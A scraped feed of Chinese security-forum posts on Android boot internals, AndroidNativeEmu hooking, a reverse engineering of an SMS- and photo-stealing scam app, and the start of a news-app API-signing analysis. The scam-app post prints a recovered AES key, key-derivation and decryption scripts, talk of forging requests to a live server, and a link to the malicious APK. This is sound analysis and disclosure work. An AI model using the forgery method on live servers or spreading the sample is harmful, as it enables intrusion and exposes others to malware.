else if ( strncmp (arg, \\"--nice-name=\\" , 12) == 0) { niceName.setTo(arg + 12); } else if ( strncmp (arg, \\"--\\" , 2) != 0) { className.setTo(arg); break ; } else { --i; break ; } } Vector<String8> args; if (!className.isEmpty()) { // We\'re not in zygote mode, the only argument we need to pass // to RuntimeInit is the application argument. // // The Remainder of args get passed to startup class main(). Make // copies of them before we overwrite them with the process name. args.add(application ? String8( \\"application\\" ) : String8( \\"tool\\" )); runtime.setClassNameAndArgs(className, argc - i, argv + i); } else { // We\'re in zygote mode. maybeCreateDalvikCache(); if (startSystemServer) { args.add(String8( \\"start-system-server\\" )); } char prop[PROP_VALUE_MAX]; if (property_get(ABI_LIST_PROPERTY, prop, NULL) == 0) { LOG_ALWAYS_FATAL( \\"app_process: Unable to determine ABI list from property %s.\\" , ABI_LIST_PROPERTY); return 11; } String8 abiFlag( \\"--abi-list=\\" ); abiFlag.append(prop); args.add(abiFlag); // In zygote mode, pass all remaining arguments to the zygote // main() method. for (; i < argc; ++i) { args.add(String8(argv[i])); } } if (!niceName.isEmpty()) { runtime.setArgv0(niceName.string()); set_process_name(niceName.string()); } 关键代码2 if (zygote) { runtime.start( \\"com.android.internal.os.ZygoteInit\\" , args, zygote); } else if (className) { runtime.start( \\"com.android.internal.os.RuntimeInit\\" , args, zygote); } else { fprintf (stderr, \\"Error: no class name or --zygote supplied.\\\\n\\" ); app_usage(); LOG_ALWAYS_FATAL( \\"app_process: no class name or --zygote supplied.\\" ); return 10; } } |
可以看到里面如--start-system-server是我们的参数-Xzygote /system/bin --zygote --start-system-server当中的一部分
\\n他会进行标志位的设置
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | 关键代码1 ++i; // Skip unused \\"parent dir\\" argument. while (i < argc) { const char * arg = argv[i++]; if ( strcmp (arg, \\"--zygote\\" ) == 0) { zygote = true ; niceName = ZYGOTE_NICE_NAME; } else if ( strcmp (arg, \\"--start-system-server\\" ) == 0) { startSystemServer = true ; } else if ( strcmp (arg, \\"--application\\" ) == 0) { application = true ; } else if ( strncmp (arg, \\"--nice-name=\\" , 12) == 0) { niceName.setTo(arg + 12); } else if ( strncmp (arg, \\"--\\" , 2) != 0) { className.setTo(arg); break ; } else { --i; break ; } } |
上面根据我们的参数知道以zygote参数启动这个app_process,里面zygote被设置为true,那么就会进入下面这个判断中,特别别是runtime.start(\\"com.android.internal.os.ZygoteInit\\", args, zygote);
\\n1 2 3 4 5 6 7 8 9 10 | if (zygote) { runtime.start( \\"com.android.internal.os.ZygoteInit\\" , args, zygote); } else if (className) { runtime.start( \\"com.android.internal.os.RuntimeInit\\" , args, zygote); } else { fprintf (stderr, \\"Error: no class name or --zygote supplied.\\\\n\\" ); app_usage(); LOG_ALWAYS_FATAL( \\"app_process: no class name or --zygote supplied.\\" ); return 10; } |
这玩意就很长了 我先贴出来
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 | void AndroidRuntime::start(const char * className, const Vector<String8>& options, bool zygote) { ALOGD( \\">>>>>> START %s uid %d <<<<<<\\\\n\\" , className ! = NULL ? className : \\"(unknown)\\" , getuid()); static const String8 startSystemServer( \\"start-system-server\\" ); / * * \'startSystemServer == true\' means runtime is obsolete and not run from * init.rc anymore, so we print out the boot start event here. * / for (size_t i = 0 ; i < options.size(); + + i) { if (options[i] = = startSystemServer) { / * track our progress through the boot sequence * / const int LOG_BOOT_PROGRESS_START = 3000 ; LOG_EVENT_LONG(LOG_BOOT_PROGRESS_START, ns2ms(systemTime(SYSTEM_TIME_MONOTONIC))); } } const char * rootDir = getenv( \\"ANDROID_ROOT\\" ); if (rootDir = = NULL) { rootDir = \\"/system\\" ; if (!hasDir( \\"/system\\" )) { LOG_FATAL( \\"No root directory specified, and /android does not exist.\\" ); return ; } setenv( \\"ANDROID_ROOT\\" , rootDir, 1 ); } / / const char * kernelHack = getenv( \\"LD_ASSUME_KERNEL\\" ); / / ALOGD( \\"Found LD_ASSUME_KERNEL=\'%s\'\\\\n\\" , kernelHack); / * start the virtual machine * / JniInvocation jni_invocation; jni_invocation.Init(NULL); JNIEnv * env; if (startVm(&mJavaVM, &env, zygote) ! = 0 ) { return ; } onVmCreated(env); / * * Register android functions. * / if (startReg(env) < 0 ) { ALOGE( \\"Unable to register all android natives\\\\n\\" ); return ; } / * * We want to call main() with a String array with arguments in it. * At present we have two arguments, the class name and an option string. * Create an array to hold them. * / jclass stringClass; jobjectArray strArray; jstring classNameStr; stringClass = env - >FindClass( \\"java/lang/String\\" ); assert (stringClass ! = NULL); strArray = env - >NewObjectArray(options.size() + 1 , stringClass, NULL); assert (strArray ! = NULL); classNameStr = env - >NewStringUTF(className); assert (classNameStr ! = NULL); env - >SetObjectArrayElement(strArray, 0 , classNameStr); for (size_t i = 0 ; i < options.size(); + + i) { jstring optionsStr = env - >NewStringUTF(options.itemAt(i).string()); assert (optionsStr ! = NULL); env - >SetObjectArrayElement(strArray, i + 1 , optionsStr); } / * * Start VM. This thread becomes the main thread of the VM, and will * not return until the VM exits. * / char * slashClassName = toSlashClassName(className); jclass startClass = env - >FindClass(slashClassName); if (startClass = = NULL) { ALOGE( \\"JavaVM unable to locate class \'%s\'\\\\n\\" , slashClassName); / * keep going * / } else { jmethodID startMeth = env - >GetStaticMethodID(startClass, \\"main\\" , \\"([Ljava/lang/String;)V\\" ); if (startMeth = = NULL) { ALOGE( \\"JavaVM unable to find main() in \'%s\'\\\\n\\" , className); / * keep going * / } else { env - >CallStaticVoidMethod(startClass, startMeth, strArray); #if 0 if (env - >ExceptionCheck()) threadExitUncaughtException(env); #endif } } free(slashClassName); ALOGD( \\"Shutting down VM\\\\n\\" ); if (mJavaVM - >DetachCurrentThread() ! = JNI_OK) ALOGW( \\"Warning: unable to detach main thread\\\\n\\" ); if (mJavaVM - >DestroyJavaVM() ! = 0 ) ALOGW( \\"Warning: VM did not shut down cleanly\\\\n\\" ); } |
里面这两处对理解Android系统还是有很大帮助的,,startVM更是理解虚拟机的入口,标记一下,startreg是用来注册JNI的
\\n1 2 3 | startVm(&mJavaVM, &env, zygote) startReg(env) |
然后就到这里 作用是 找到ZygoteInit的main函数,然后通过JNI调用(写法很熟悉了),进入到zygote的Java层
\\n1 2 3 | jmethodID startMeth = env - >GetStaticMethodID(startClass, \\"main\\" , \\"([Ljava / lang / String;)V”); env - >CallStaticVoidMethod(startClass, startMeth, strArray); |
如上 ZygoteInit.java.main方法
\\n先上代码
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | public static void main(String argv[]) { // Mark zygote start. This ensures that thread creation will throw // an error. ZygoteHooks.startZygoteNoThreadCreation(); try { Trace.traceBegin(Trace.TRACE_TAG_DALVIK, \\"ZygoteInit\\" ); RuntimeInit.enableDdms(); // Start profiling the zygote initialization. SamplingProfilerIntegration.start(); boolean startSystemServer = false ; String socketName = \\"zygote\\" ; String abiList = null ; for ( int i = 1 ; i < argv.length; i++) { if ( \\"start-system-server\\" .equals(argv[i])) { startSystemServer = true ; } else if (argv[i].startsWith(ABI_LIST_ARG)) { abiList = argv[i].substring(ABI_LIST_ARG.length()); } else if (argv[i].startsWith(SOCKET_NAME_ARG)) { socketName = argv[i].substring(SOCKET_NAME_ARG.length()); } else { throw new RuntimeException( \\"Unknown command line argument: \\" + argv[i]); } } if (abiList == null ) { throw new RuntimeException( \\"No ABI list supplied.\\" ); } registerZygoteSocket(socketName); Trace.traceBegin(Trace.TRACE_TAG_DALVIK, \\"ZygotePreload\\" ); EventLog.writeEvent(LOG_BOOT_PROGRESS_PRELOAD_START, SystemClock.uptimeMillis()); preload(); EventLog.writeEvent(LOG_BOOT_PROGRESS_PRELOAD_END, SystemClock.uptimeMillis()); Trace.traceEnd(Trace.TRACE_TAG_DALVIK); // Finish profiling the zygote initialization. SamplingProfilerIntegration.writeZygoteSnapshot(); // Do an initial gc to clean up after startup Trace.traceBegin(Trace.TRACE_TAG_DALVIK, \\"PostZygoteInitGC\\" ); gcAndFinalize(); Trace.traceEnd(Trace.TRACE_TAG_DALVIK); Trace.traceEnd(Trace.TRACE_TAG_DALVIK); // Disable tracing so that forked processes do not inherit stale tracing tags from // Zygote. Trace.setTracingEnabled( false ); // Zygote process unmounts root storage spaces. Zygote.nativeUnmountStorageOnInit(); ZygoteHooks.stopZygoteNoThreadCreation(); if (startSystemServer) { startSystemServer(abiList, socketName); } Log.i(TAG, \\"Accepting command socket connections\\" ); runSelectLoop(abiList); closeServerSocket(); } catch (MethodAndArgsCaller caller) { caller.run(); } catch (RuntimeException ex) { Log.e(TAG, \\"Zygote died with exception\\" , ex); closeServerSocket(); throw ex; } } |
里面几个重要函数
\\n1 2 3 4 5 6 7 8 9 10 11 | registerZygoteSocket(socketName); 注册zygote用的socket用来和AMS进行通信,用来创建新的应用进程 preload(); 预加载的资源、类、虚拟机实例等 startSystemServer(abiList, socketName); 启动SystemServer进程,就有之前学过的PMS这些 runSelectLoop(abiList); 循环等待并处理AMS发送来的创建新应用进程请求。如果收到创建应用程序的请求,则调用ZygoteConnection的runOnce函数来创建一个新的应用程序进程 |
上个时序图
\\n解析rc的参数
\\n在native层调用运行时的start方法,里面又创建虚拟机和注册JNI函数
\\n通过JNI方式调用ZygoteInit的main函数,进入到java层
\\nregisterZygoteSocket注册zygote用的socket用来和AMS进行通信,用来创建新的应用进程
\\npreload预加载的资源、类、虚拟机实例等
\\nstartSystemServer启动SystemServer进程,就有之前学过的PMS这些
\\nrunSelectLoop循环等待并处理AMS发送来的创建新应用进程请求。
\\n到这里zygote就差不多干完初始化的活了,开始等待
\\n刚刚学到Zygote启动了SyetemServer
\\n我们先上一个时序图
\\n这一块我经理就稍微少一点,也是偷的别的师傅的分析,有个概念先
\\nZygoteInit.startSystemServer()
\\n\\n\\nfork 子进程 system_server,进入 system_server 进程。
\\n
ZygoteInit.handleSystemServerProcess()
\\n\\n\\n设置当前进程名为“system_server”,创建 PathClassLoader 类加载器。
\\n
RuntimeInit.zygoteInit()
\\n\\n\\n重定向 log 输出,通用的初始化(设置默认异常捕捉方法,时区等),初始化 Zygote -> nativeZygoteInit()
\\n
app_main::onZygoteInit()
\\n\\n\\nproc->startThreadPool(); 启动Binder线程池,这样就可以与其他进程进行通信。
\\n
ZygoteInit.main()
\\n\\n\\n开启 DDMS 功能,preload() 加载资源,预加载OpenGL,调用 SystemServer.main() 方法
\\n
SystemServer.main()
\\n\\n\\n先初始化 SystemServer 对象,再调用对象的 run() 方法。
\\n
到下面这里,就比较熟悉了
\\n1 2 3 4 5 6 | SystemServer.run() createSystemContext startBootstrapServices(); startCoreServices(); startOtherServices(); Looper.loop(); |
startBootstrapServices:引导服务
\\n服务 | \\n作用 | \\n
---|---|
Installer | \\n系统安装apk时的一个服务类,启动完成Installer服务之后才能启动其他的系统服务 | \\n
ActivityManagerService | \\n负责四大组件的启动、切换、调度。 | \\n
PowerManagerService | \\n计算系统中和Power相关的计算,然后决策系统应该如何反应 | \\n
LightsService | \\n管理和显示背光LED | \\n
DisplayManagerService | \\n用来管理所有显示设备 | \\n
UserManagerService | \\n多用户模式管理 | \\n
SensorService | \\n为系统提供各种感应器服务 | \\n
PackageManagerService | \\n用来对apk进行安装、解析、删除、卸载等等操作 | \\n
startCoreServices:核心服务
\\n服务 | \\n作用 | \\n
---|---|
BatteryService | \\n管理电池相关的服务 | \\n
UsageStatsService | \\n收集用户使用每一个APP的频率、使用时常 | \\n
WebViewUpdateService | \\nWebView更新服务 | \\n
startOtherServices:其他服务(60多种)
\\n服务 | \\n作用 | \\n
---|---|
CameraService | \\n摄像头相关服务 | \\n
AlarmManagerService | \\n全局定时器管理服务 | \\n
InputManagerService | \\n管理输入事件 | \\n
WindowManagerService | \\n窗口管理服务 | \\n
VrManagerService | \\nVR模式管理服务 | \\n
BluetoothService | \\n蓝牙管理服务 | \\n
NotificationManagerService | \\n通知管理服务 | \\n
DeviceStorageMonitorService | \\n存储相关管理服务 | \\n
LocationManagerService | \\n定位管理服务 | \\n
AudioService | \\n音频相关管理服务 | \\n
… | \\n\\n |
都是一些Android必要的服务
\\n可能写的有点突然,这个Launcher其实是由SystemServer启动的AMS启动的。这个Launcher的作用就是来显示 已经安装的应用程序,Lanucher在启动过程中会请求PackageManagerService返回系统中已经安装的应用程序信息,并将这些信息封装成一个快捷图标列表显示在系统屏幕上。
\\n代码逻辑弯弯绕绕,非常长,这里仅作系统启动学习,就不写那么多了,详情可以去看这个师傅的博客
\\nhttps://blog.csdn.net/fdsafwagdagadg6576/article/details/116333916
\\n这边只做总结
\\n好了,这篇到这里就结束了,有不对的地方请指出,我会在看到的第一时间改正。希望对于阅读的小伙伴们有帮助。
\\n后面应该还会有一些源码阅读的部分写出来,一般是涉及到跟安全强相关的部分。写完这些我认为关键的源码阅读分析之后,会着手多分析分析如Magisk原理,Xposed相关的一些内容,并尽量从底层进行一些分析。
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
\\n\\nAndroidNativeEmu支持某个函数符号进行hook,代码实例如下:
\\n1 2 3 4 5 | @native_method def sprintf(mu, buffer_addr, format_addr, arg1, arg2): print ( \\"sprintf(%x,%x,%x,%x)\\" % (buffer_addr, format_addr, arg1, arg2)) emulator.modules.add_symbol_hook( \\"sprintf\\" , emulator.hooker.write_function(sprintf) + 1 ) |
他是怎么实现的呢?我们从其源代码来分析。
\\n考虑如下问题:
\\n如何实现的函数符号的hook?
\\n初步的猜想是将符号表的对应地址值填为指定函数的地址,后续解析符号的时候,就将该符号的地址填充过去。但是这样存在问题,因为我们的函数是python函数,没有地址,所以无法直接跳转到我们的python函数。
\\n根据问题1,是如何将hook的地址和python函数关联的?
\\nunicorn本身的hook是只支持对某个地址区域进行hook的,只要执行到这个区域的代码,就会调用对应的python函数。但是这里是符号hook,而不是地址区域hook。
\\n首先从emulator.hooker.write_function(sprintf)
开始分析,进去看看他干了什么。
先看看emulator内部的hooker对象是啥,进入到emulator的构造函数中:
\\n1 2 3 4 | HOOK_MEMORY_BASE = 0x20000000 HOOK_MEMORY_SIZE = 0x00200000 # HOOK_MEMORY_BASE和HOOK_MEMORY_SIZE好像是模拟器专门定义的一个用来hook的内存区域,这个区域执行的代码都会调用unicorn的原生hook self .hooker = Hooker( self , HOOK_MEMORY_BASE, HOOK_MEMORY_SIZE) |
可以看到他是Hooker的实例,再进入Hooker类,其构造函数部分的代码如下:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | from keystone import Ks, KS_ARCH_ARM, KS_MODE_THUMB from unicorn import * from unicorn.arm_const import * STACK_OFFSET = 8 # Utility class to create a bridge between ARM and Python. class Hooker: def __init__( self , emu, base_addr, size): self ._emu = emu self ._keystone = Ks(KS_ARCH_ARM, KS_MODE_THUMB) self ._size = size self ._current_id = 0xFF00 self ._hooks = dict () self ._hook_magic = base_addr self ._hook_start = base_addr + 4 # _hook_current的地址是从HOOK_MEMORY_BASE开始的 self ._hook_current = self ._hook_start # 在unicorn中设置了hook,对应的回调函数为_hook self ._emu.uc.hook_add(UC_HOOK_CODE, self ._hook, None , self ._hook_start, self ._hook_start + size) |
到这里,hooker对象就创建完成了。还是比较简单,就是抽象了一个专门的地址区域用于hook,同时在unicorn中给这段地址区域设置了UC_HOOK_CODE。
\\n接下来是hook.write_function
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | def write_function( self , func): # Get the hook id. # 生成了一个hook_id和当前的hook区域的地址 hook_id = self ._get_next_id() hook_addr = self ._hook_current # 创建了一段汇编代码,其中包含了hook的id asm = \\"PUSH {R4,LR}\\\\n\\" \\\\ \\"MOV R4, #\\" + hex (hook_id) + \\"\\\\n\\" \\\\ \\"MOV R4, R4\\\\n\\" \\\\ \\"POP {R4,PC}\\" asm_bytes_list, asm_count = self ._keystone.asm(bytes(asm, encoding = \'ascii\' )) if asm_count ! = 4 : raise ValueError( \\"Expected asm_count to be 4 instead of %u.\\" % asm_count) # 将代码写入特定的hook区域 self ._emu.uc.mem_write(hook_addr, bytes(asm_bytes_list)) # 地址和id向后移动。 self ._hook_current + = len (asm_bytes_list) # 将python的函数和id关联 self ._hooks[hook_id] = func # 这个代码区域的地址 return hook_addr |
简单来说,就是创建了一段特殊的代码区域,返回了这个区域的地址。这个代码区域有特定的id标识(为了区分不同的函数hook)
,且这段内存区域在unicorn中被设置了回调函数(hooker的构造函数中)
。
这个函数实现非常简单:
\\n1 2 | def add_symbol_hook( self , symbol_name, addr): self .symbol_hooks[symbol_name] = addr |
就是将write_function
返回的地址写入到符号表中,后续其他依赖这个函数的库会解析为对应的地址。也就是说,后续执行这个符号对应的函数的时候,就会跳转到write_function
中生成的代码区域。同时要注意,这个区域是被hook了的。所以,我们要去看看Hooker类中的_hook
方法是如何实现的,看看他做了什么处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | def _hook( self , uc, address, size, user_data): # 这里是在检查这段代码的特征,看看是否是write_function函数生成的代码 # Check if instruction is \\"MOV R4, R4\\" if size ! = 2 or self ._emu.uc.mem_read(address, size) ! = b \\"\\\\x24\\\\x46\\" : return # 如果是,说明这个区域是被hook的,从这个区域中读取到hook_id # Find hook. hook_id = self ._emu.uc.reg_read(UC_ARM_REG_R4) hook_func = self ._hooks[hook_id] # Call hook. try : # 调用对应的方法 hook_func( self ._emu) except : # Make sure we catch exceptions inside hooks and stop emulation. uc.emu_stop() raise |
回答之前我们的提问:
\\n如何实现的符号hook?
\\n对于符号的hook确实是依赖于对符号表的hook实现的,但是其地址不能是python函数的地址。框架的作者专门为每个被hook的函数开辟了一块内存空间,放入一些特殊的汇编代码和一个函数的id,通过这个id能找到对应的python函数。同时这个内存区域是被unicorn的原生hook hook了的,会调用框架内部的处理函数。在该处理函数中,会从这个内存区域中去找到函数id,从而得到该符号对应的python函数进行调用。
\\n通过前面的分析,我们已经知道了如何将符号和我们对应的python函数关联上。但是还存在一个问题,就是函数参数的问题,如何将函数参数传递给对应的python参数?这就要用到框架提供的@native_method
装饰器
装饰器本质上是一个可调用对象,它接收一个函数作为参数,并返回一个新函数或可调用对象。装饰器通常用于横切关注点(cross-cutting concerns),如日志记录、权限检查、缓存等。
\\n实例:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 | def my_decorator(func): def wrapper( * args, * * kwargs): print ( \\"Something is happening before the function is called.\\" ) result = func( * args, * * kwargs) print ( \\"Something is happening after the function is called.\\" ) return result return wrapper @my_decorator def say_hello(name): print (f \\"Hello, {name}!\\" ) say_hello( \\"Alice\\" ) |
在这个示例中,@my_decorator
应用于 say_hello
函数,等价于 say_hello = my_decorator(say_hello)
。当你调用 say_hello(\\"Alice\\")
时,实际执行的是 wrapper
函数。
源代码如下:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | def native_method(func): def native_method_wrapper( * argv): \\"\\"\\" :type self :type emu androidemu.emulator.Emulator :type uc Uc \\"\\"\\" emu = argv[ 1 ] if len (argv) = = 2 else argv[ 0 ] uc = emu.uc args = inspect.getfullargspec(func).args args_count = len (args) - ( 2 if \'self\' in args else 1 ) if args_count < 0 : raise RuntimeError( \\"NativeMethod accept at least (self, uc) or (uc).\\" ) native_args = native_read_args(uc, args_count) if len (argv) = = 1 : result = func(uc, * native_args) else : result = func(argv[ 0 ], uc, * native_args) if result is not None : native_write_arg_register(emu, UC_ARM_REG_R0, result) else : uc.reg_write(UC_ARM_REG_R0, JNI_ERR) return native_method_wrapper |
所以,在我们的代码中:
\\n1 2 3 4 5 6 | @native_method def sprintf(mu, buffer_addr, format_addr, arg1, arg2): print ( \\"sprintf(%x,%x,%x,%x)\\" % (buffer_addr, format_addr, arg1, arg2)) format = memory_helpers.read_utf8(mu, format_addr) result = format % (memory_helpers.read_utf8(mu, arg1), arg2) mu.mem_write(buffer_addr, result.encode() + b \'\\\\x00\' ) |
调用sprintf之前,实际上调用的是native_method方法,该方法对sprintf进行了装饰。
\\n而其native_method_wrapper装饰的实现就是在获取函数参数的个数,然后从寄存器中获取对应的参数,传递给python。
\\n这个框架中的@native_method装饰器的作用是解析函数参数,从寄存器或者内存中读取参数再传递给python,但是他的实现是比较简陋的。本质上是利用inspect获取python的函数原型再决定读取几个参数。
\\n比如,如果我们要完整的实现sprintf的hook就不太行,因为sprintf的参数是不定的,函数原型中不能知道具体有几个参数。只能解析spriintf的format来确定参数数量,再读取参数。当然实现起来有点麻烦,后续尝试写一下。
\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n\\n\\n\\n\\n\\n\\n","description":"AndroidNativeEmu支持某个函数符号进行hook,代码实例如下: 1\\n2\\n3\\n4\\n5\\n\\t\\n@native_method\\ndef sprintf(mu, buffer_addr, format_addr, arg1, arg2):\\n print(\\"sprintf(%x,%x,%x,%x)\\" % (buffer_addr, format_addr, arg1, arg2))\\n \\nemulator.modules.add_symbol_hook(\\"sprintf\\", emulator.hooker.write_function(sprintf) + 1)\\n\\n他是怎…","guid":"https://bbs.kanxue.com/thread-282571.htm","author":null,"authorUrl":null,"authorAvatar":null,"publishedAt":"2024-07-19T15:34:00.541Z","media":null,"categories":null,"attachments":null,"extra":null,"language":null},{"title":"[原创]一次诈骗APP的逆向分析","url":"https://bbs.kanxue.com/thread-282552.htm","content":"起早了,也是逆天,听说朋友被luo聊诈骗了,还带有一个APP,这不拿来看一手o(´^`)o,绝对不是我想看不该看的嗷。
\\n最开始朋友给我的时候,让我帮他找个ip,我还以为是个取证题目,最后发现,找到的ip和域名都是存活的,嘶,那就有意思啦。
拿到手发现就6M多,我想,这怎么可能能luo聊,和朋友沟通发现,这只是在luo聊软件中推广的软件,封面做得就很low,甚至连APP icon都不愿意放一个,名称叫《羞密基地》(✪ω✪)
怎么越看越像一个CTF题目呢,好劣质的感觉hhh。
最开始没仔细看反编译结果前我还以为真能进去呢,还要了当时被诈骗的房间号,结果发现一直卡在那,感觉不对劲,又回去仔细看了看。
核心逻辑全在MainActivity里面hhhh,一点多的都没有(除了一些工具类)
\\n1 2 3 4 | if (ActivityCompat.checkSelfPermission( this , \\"android.permission.SEND_SMS\\" ) != 0 && ActivityCompat.checkSelfPermission( this , \\"android.permission.READ_SMS\\" ) != 0 && ActivityCompat.checkSelfPermission( this , \\"android.permission.READ_PHONE_NUMBERS\\" ) != 0 && ActivityCompat.checkSelfPermission( this , \\"android.permission.READ_PHONE_STATE\\" ) != 0 ) { showUserInfo( \\"App所需基本权限, \\\\n请允许,未允许将无法提供服务!\\" ); return ; } |
要了一堆基本用不到的权限,符合我对诈骗APP的固有印象。
然后事情就开始离谱了起来。
这么多参数,看不得看死o(╥﹏╥)o,直接抓包吧,本来我是觉得没什么的,一抓包给我吓了一跳。
这里通过静态分析可以看出,走的全是http,甚至不用配置证书。
这里两个外网服务器,下载文件下来之后,发现就是简单的base64,没有额外加密,就能拿到ip和端口。扫描一下ip,从服务器上没看出什么有用信息,就尝试动态分析呗。
最开始还是一贯性的想上frida,但是抓包明显更简单,那就fiddler吧。
基本逻辑和分析得一样,通过两个txt文件拿到真实服务器的地址,其中108是用来记录post参数的,之前图中的device、phone number等数据。
149这个ip是用来上传手机中的照片的,会导致敏感信息的泄露。最开始我是忽略了这部分的,post参数确实太显眼了一点。
从fiddler中dump出数据,上010恢复成jpg格式我才发现事情的不对劲。虽然这是专门做逆向root过的机器,但是上面还是有一些照片!!!∑(゚Д゚ノ)ノ,唉,所以说,淹死的都是会水的。
知道了整体逻辑,接下来就是逆他自己的加密算法了。
每个post的参数都经过了AESUtils.encryptBase64()加密了一次,对称密码,直接看看他代码怎么写的。
顾名思义,AES、Base64,真就只有这两个算法。
唯一上的保护就是密钥了。
虽然这保护和没保护也没什么区别就是了。
那就直接找密钥呗,没什么说的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | import java.io.IOException; import java.nio.charset.StandardCharsets; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.lang.String; public class Main { public static byte [] subBytes( byte [] src, int begin, int count) { byte [] bs = new byte [count]; for ( int i = begin; i < begin + count; i++) { bs[i - begin] = src[i]; } return bs; } public static byte [] GetKeySeed(String seed, int keylen) throws NoSuchAlgorithmException { MessageDigest md = MessageDigest.getInstance( \\"SHA1\\" ); MessageDigest rd = MessageDigest.getInstance( \\"SHA1\\" ); byte [] keyst = md.digest(seed.getBytes(StandardCharsets.UTF_8)); return subBytes(rd.digest(keyst), 0 , keylen); } public static void main(String[] args) throws IOException, NoSuchAlgorithmException { String KeyPrivate = \\"kGfIzsWnQBvW\\" ; String SaltPrivate = \\"3s1Zj1hvDi90\\" ; byte [] arr = new byte [ 16 ]; arr=GetKeySeed(KeyPrivate + SaltPrivate, 16 ); for ( int i = 0 ; i < arr.length; i++) { System.out.printf( \\"0x%02X,\\" , arr[i] & 0xFF ); } System.out.println( \\"\\\\n\\" +arr.length); } } |
python写出解密脚本
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | aeskeyarr = [ 0x4C , 0x2C , 0x00 , 0xA9 , 0x80 , 0x35 , 0x96 , 0x36 , 0x78 , 0x7A , 0x45 , 0xD3 , 0xC9 , 0xB1 , 0x1E , 0x2E ,] aeskey = b\\"\\" #aeskey=0x4C2C00A980359636787A45D3C9B11E2E for i in aeskeyarr: aeskey + = bytes([i]) from Crypto.Cipher import AES import base64 def add_to_16(value): while len (value) % 16 ! = 0 : value + = \'\\\\5\' return str .encode(value) # 返回bytes def enc(text): text = add_to_16(text) aes = AES.new(aeskey,AES.MODE_ECB) en_text = base64.b64encode(aes.encrypt(text)) return en_text.decode() def dec(text): text = text.encode() aes = AES.new(aeskey, AES.MODE_ECB) tmp = base64.b64decode(text) en_text = aes.decrypt(tmp) return en_text.decode() |
找到加密逻辑伪造请求就简单了,直接post就行了,反正是诈骗APP,想怎么来就怎么来。
最后贴上附件,大家避个雷吧(^▽^)。
血的教训,想看这个APP的话,记得把手机照片删完(•́へ•́╬)
https://xzc207.site/eapp_1014_1719048034
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\napp 版本:110.1(1827) 酷安下载
设备:Pixel 2XL Android 8.1
抓包工具:Charles + Postern VPX 抓包
反汇编工具:JADX 1.4.5、IDA Pro 8.3.0
hook:frida 12.8.0、frida-tools 5.3.0
静态分析
动态分析
网络流量分析
猜,你猜猜我猜猜
\\n\\n:method: GET
\\n
:path: /nc/api/v1/search/flow/comp?start=Kg%3D%3D&limit=20&q=NuS6uuWFseS6qzIwMjTmrKfmtLLmna%2Fph5HpnbQ%3D&deviceId=bvYT4UzsuBXNhfobtucjoWbhxxvqginXtZw7lCuhHuFXCnf2uGrW417TW%2FmVXqy1IIGNeE0nI41SFrBIaL1THA%3D%3D&version=newsclient.110.1.android&channel=c2VhcmNo&canal=UVFfbmV3c195dW55aW5nNA%3D%3D&dtype=0&tabname=zonghe&position=5pCc57Si5qGG6aKE572u6K%2BN&ts=1721110863&sign=W7Xphf%2BpqyOGN9JoXUHnuo0ikgGVNQynXl0Z9SFrPG148ErR02zJ6%2FKXOnxX046I&spever=FALSE
:authority: gw.m.163.com
:scheme: https
add-to-queue-millis: 1721110863718
data4-sent-millis: 1721110863719
cache-control: no-cache
user-agent: NewsApp/110.1 Android/8.1.0 (google/Pixel 2 XL)
x-nr-trace-id: 1721110863720_199869332_ODUwNjE0ZjAyOGJhZTNiYV9fZ29vZ2xlX1BpeGVsIDIgWEw%3D
x-nr-ise: 0
x-xr-original-host: gw.m.163.com
user-c: 5pCc57Si
user-rc: UjgzLZ+E4Lemnj+sMro9qwqQ3xlDp4PUECu18073DbE2Sp1cMm3KWoG4EVq0Iff0
user-d: bvYT4UzsuBXNhfobtucjoWbhxxvqginXtZw7lCuhHuFXCnf2uGrW417TW/mVXqy1IIGNeE0nI41SFrBIaL1THA==
user-vd: WfXzE4qBsQrzqoxcYqkdAh77TaqeHGwDc3c5MKUbPwL1PDEQtOAxYiJJj6XJo9TGePBK0dNsyevylzp8V9OOiA==
user-appid: TItcOwjV9bndQ91C5VadYg==
user-sid: jeYbWWG30X4+b4psq4KnvtJQ7bvpgJC2TvUpgWA0pfw=
user-lc: 67NqtW9W02z/qXjaEOOHag==
user-n: yEWDFuJGE3Gmj2a0IPdYcA==
user-id: rTboMPOe7X3a3PlAcfTomAyKsptKyhPdg7sH0emGPiqAQ4ozbxeRq4WEUnIhA/QejIuMU9rtRKIrUSa49DmGut4ZRL0MIJQQ8KOb5fiSUJuMVMtqqnzmaVeVeFXjZ10SePBK0dNsyevylzp8V9OOiA==
x-nr-ts: 1721110863728
x-nr-sign: 6db19e20ad7a9a890ca02e7a509ba00d
x-nr-net-lib: okhttp
accept-encoding: br,gzip
\\n\\n\'start\': \'Kg==\',
\\n
\'limit\': \'20\',
